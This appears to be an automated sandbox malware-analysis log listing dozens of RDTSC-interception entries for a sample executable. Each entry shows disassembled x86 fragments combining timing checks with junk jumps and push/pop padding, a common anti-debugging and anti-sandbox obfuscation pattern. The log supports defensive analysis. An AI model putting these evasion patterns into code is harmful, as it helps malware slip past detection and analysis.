Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50407CE second address: 50407DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8C4E0119Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50407DE second address: 504080F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FE8C4E5DB36h 0x00000011 lea eax, dword ptr [ebp-04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 504080F second address: 504082C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 504082C second address: 5040859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FE8C4E5DB2Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov edx, esi 0x00000015 mov ch, DAh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040859 second address: 504086E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8C4E011A1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50408D6 second address: 50408DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040931 second address: 504095D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE8C4E0119Ch 0x00000008 sub ax, 19A8h 0x0000000d jmp 00007FE8C4E0119Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov eax, esi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b mov ax, E831h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 504095D second address: 5040985 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 movzx ecx, bx 0x0000000a popad 0x0000000b pop esi 0x0000000c jmp 00007FE8C4E5DB35h 0x00000011 leave 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040985 second address: 5040989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040989 second address: 504098F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 504098F second address: 50301BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 jmp 00007FE8C4E01192h 0x00000015 xor ebx, ebx 0x00000017 test al, 01h 0x00000019 jne 00007FE8C4E01197h 0x0000001b sub esp, 04h 0x0000001e mov dword ptr [esp], 0000000Dh 0x00000025 call 00007FE8C901E92Fh 0x0000002a mov edi, edi 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FE8C4E011A5h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50301BD second address: 503022E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 16C8C9D2h 0x00000008 jmp 00007FE8C4E5DB33h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FE8C4E5DB36h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FE8C4E5DB2Ch 0x00000020 sbb ax, 2E48h 0x00000025 jmp 00007FE8C4E5DB2Bh 0x0000002a popfd 0x0000002b call 00007FE8C4E5DB38h 0x00000030 pop esi 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 503022E second address: 50302C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE8C4E0119Dh 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov bx, C5F0h 0x00000012 jmp 00007FE8C4E011A9h 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b mov cl, A2h 0x0000001d pushfd 0x0000001e jmp 00007FE8C4E011A9h 0x00000023 xor cx, 1CD6h 0x00000028 jmp 00007FE8C4E011A1h 0x0000002d popfd 0x0000002e popad 0x0000002f sub esp, 2Ch 0x00000032 jmp 00007FE8C4E0119Eh 0x00000037 xchg eax, ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FE8C4E011A7h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50302C4 second address: 50302CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50302CA second address: 50302CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50302CE second address: 50302D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50302D2 second address: 50302E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx edi, cx 0x0000000f movzx ecx, bx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50302E5 second address: 50302EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50302EA second address: 50302F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50302F8 second address: 50302FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50302FC second address: 5030300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030300 second address: 5030306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030306 second address: 503030C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 503030C second address: 5030310 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030310 second address: 5030381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a call 00007FE8C4E0119Ch 0x0000000f jmp 00007FE8C4E011A2h 0x00000014 pop ecx 0x00000015 pushfd 0x00000016 jmp 00007FE8C4E0119Bh 0x0000001b or ch, FFFFFFDEh 0x0000001e jmp 00007FE8C4E011A9h 0x00000023 popfd 0x00000024 popad 0x00000025 mov dword ptr [esp], edi 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov dh, 5Ch 0x0000002d call 00007FE8C4E011A4h 0x00000032 pop eax 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50303C7 second address: 50303E3 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 0DFA7D4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a sub ebx, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE8C4E5DB2Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50303E3 second address: 50303E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50303E9 second address: 503040A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edi, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE8C4E5DB2Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 503040A second address: 50304A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E0119Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a jmp 00007FE8C4E011A6h 0x0000000f test al, al 0x00000011 pushad 0x00000012 mov edx, esi 0x00000014 pushfd 0x00000015 jmp 00007FE8C4E0119Ah 0x0000001a add ecx, 3E4B41E8h 0x00000020 jmp 00007FE8C4E0119Bh 0x00000025 popfd 0x00000026 popad 0x00000027 je 00007FE8C4E013BCh 0x0000002d jmp 00007FE8C4E011A6h 0x00000032 lea ecx, dword ptr [ebp-14h] 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 movsx edi, ax 0x0000003b pushfd 0x0000003c jmp 00007FE8C4E011A6h 0x00000041 jmp 00007FE8C4E011A5h 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50304A6 second address: 50304C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-14h], edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007FE8C4E5DB30h 0x00000013 pop ecx 0x00000014 movsx edx, si 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030542 second address: 5030546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030546 second address: 5030563 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030563 second address: 503065F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE8C4E011A7h 0x00000009 add ecx, 73DDD77Eh 0x0000000f jmp 00007FE8C4E011A9h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test eax, eax 0x0000001c pushad 0x0000001d push eax 0x0000001e mov bx, F8EAh 0x00000022 pop edi 0x00000023 pushfd 0x00000024 jmp 00007FE8C4E011A0h 0x00000029 sbb cl, FFFFFFA8h 0x0000002c jmp 00007FE8C4E0119Bh 0x00000031 popfd 0x00000032 popad 0x00000033 jg 00007FE935E6F055h 0x00000039 jmp 00007FE8C4E011A6h 0x0000003e js 00007FE8C4E01226h 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007FE8C4E0119Eh 0x0000004b sub eax, 5DF3D738h 0x00000051 jmp 00007FE8C4E0119Bh 0x00000056 popfd 0x00000057 pushfd 0x00000058 jmp 00007FE8C4E011A8h 0x0000005d and al, FFFFFF98h 0x00000060 jmp 00007FE8C4E0119Bh 0x00000065 popfd 0x00000066 popad 0x00000067 cmp dword ptr [ebp-14h], edi 0x0000006a jmp 00007FE8C4E011A6h 0x0000006f jne 00007FE935E6EFDEh 0x00000075 pushad 0x00000076 push eax 0x00000077 push edx 0x00000078 mov di, cx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 503065F second address: 50306DD instructions: 0x00000000 rdtsc 0x00000002 call 00007FE8C4E5DB38h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, edx 0x0000000c popad 0x0000000d mov ebx, dword ptr [ebp+08h] 0x00000010 pushad 0x00000011 mov ah, dh 0x00000013 mov si, AD2Bh 0x00000017 popad 0x00000018 lea eax, dword ptr [ebp-2Ch] 0x0000001b pushad 0x0000001c push ecx 0x0000001d pushfd 0x0000001e jmp 00007FE8C4E5DB33h 0x00000023 add ax, 49CEh 0x00000028 jmp 00007FE8C4E5DB39h 0x0000002d popfd 0x0000002e pop esi 0x0000002f mov ecx, edi 0x00000031 popad 0x00000032 push ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FE8C4E5DB32h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50306DD second address: 50306E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50306E1 second address: 50306E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50306E7 second address: 503071C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E0119Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE8C4E0119Dh 0x00000015 jmp 00007FE8C4E0119Bh 0x0000001a popfd 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 503071C second address: 5030780 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE8C4E5DB35h 0x00000009 sub ax, D776h 0x0000000e jmp 00007FE8C4E5DB31h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FE8C4E5DB30h 0x0000001a jmp 00007FE8C4E5DB35h 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 nop 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movsx edx, ax 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030780 second address: 50307B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E0119Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE8C4E011A9h 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE8C4E0119Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50307B9 second address: 50307BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50307BF second address: 50307F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov esi, 51840591h 0x0000000f jmp 00007FE8C4E0119Eh 0x00000014 popad 0x00000015 mov dword ptr [esp], ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE8C4E011A7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 503084E second address: 503086E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE8C4E5DB31h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 503086E second address: 5030883 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030883 second address: 503088A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 503088A second address: 5030899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test esi, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030899 second address: 503089D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 503089D second address: 50308A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50308A3 second address: 5030024 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 mov edx, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FE935ECB8CEh 0x00000010 xor eax, eax 0x00000012 jmp 00007FE8C4E3725Ah 0x00000017 pop esi 0x00000018 pop edi 0x00000019 pop ebx 0x0000001a leave 0x0000001b retn 0004h 0x0000001e nop 0x0000001f xor ebx, ebx 0x00000021 cmp eax, 00000000h 0x00000024 je 00007FE8C4E5DC83h 0x0000002a call 00007FE8C907AFADh 0x0000002f mov edi, edi 0x00000031 pushad 0x00000032 mov si, di 0x00000035 mov ax, di 0x00000038 popad 0x00000039 push ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FE8C4E5DB37h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030024 second address: 5030130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e call 00007FE8C4E011A3h 0x00000013 pop eax 0x00000014 pop edi 0x00000015 pushfd 0x00000016 jmp 00007FE8C4E011A6h 0x0000001b adc ah, 00000058h 0x0000001e jmp 00007FE8C4E0119Bh 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 popad 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007FE8C4E011A8h 0x00000030 pushfd 0x00000031 jmp 00007FE8C4E011A2h 0x00000036 and ah, 00000018h 0x00000039 jmp 00007FE8C4E0119Bh 0x0000003e popfd 0x0000003f popad 0x00000040 mov dword ptr [esp], ecx 0x00000043 pushad 0x00000044 call 00007FE8C4E011A4h 0x00000049 jmp 00007FE8C4E011A2h 0x0000004e pop esi 0x0000004f pushfd 0x00000050 jmp 00007FE8C4E0119Bh 0x00000055 xor ax, 863Eh 0x0000005a jmp 00007FE8C4E011A9h 0x0000005f popfd 0x00000060 popad 0x00000061 mov dword ptr [ebp-04h], 55534552h 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007FE8C4E0119Dh 0x0000006f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030130 second address: 5030140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8C4E5DB2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030140 second address: 5030144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030158 second address: 503015E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 503015E second address: 5030194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE8C4E011A1h 0x00000008 pop esi 0x00000009 mov edi, 3861A574h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 leave 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE8C4E011A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030D06 second address: 5030D16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8C4E5DB2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030D16 second address: 5030D3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a mov ecx, 13DDCF89h 0x0000000f call 00007FE8C4E011A6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030EA5 second address: 5030F11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE8C4E5DB37h 0x00000008 pushfd 0x00000009 jmp 00007FE8C4E5DB38h 0x0000000e jmp 00007FE8C4E5DB35h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 call 00007FE935EC27A7h 0x0000001c push 76092B70h 0x00000021 push dword ptr fs:[00000000h] 0x00000028 mov eax, dword ptr [esp+10h] 0x0000002c mov dword ptr [esp+10h], ebp 0x00000030 lea ebp, dword ptr [esp+10h] 0x00000034 sub esp, eax 0x00000036 push ebx 0x00000037 push esi 0x00000038 push edi 0x00000039 mov eax, dword ptr [760F4538h] 0x0000003e xor dword ptr [ebp-04h], eax 0x00000041 xor eax, ebp 0x00000043 push eax 0x00000044 mov dword ptr [ebp-18h], esp 0x00000047 push dword ptr [ebp-08h] 0x0000004a mov eax, dword ptr [ebp-04h] 0x0000004d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000054 mov dword ptr [ebp-08h], eax 0x00000057 lea eax, dword ptr [ebp-10h] 0x0000005a mov dword ptr fs:[00000000h], eax 0x00000060 ret 0x00000061 jmp 00007FE8C4E5DB2Eh 0x00000066 sub esi, esi 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b mov cx, 4209h 0x0000006f mov di, ax 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030F11 second address: 5030F34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 0ED4h 0x00000007 push ebx 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [ebp-1Ch], esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE8C4E011A2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5030F34 second address: 5030F39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50409E3 second address: 50409FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50409FE second address: 5040A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FE8C4E5DB39h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040A1D second address: 5040A41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E0119Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE8C4E0119Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040A41 second address: 5040A56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040A56 second address: 5040A9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE8C4E0119Eh 0x0000000f mov ebp, esp 0x00000011 jmp 00007FE8C4E011A0h 0x00000016 xchg eax, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE8C4E0119Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040A9B second address: 5040AAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
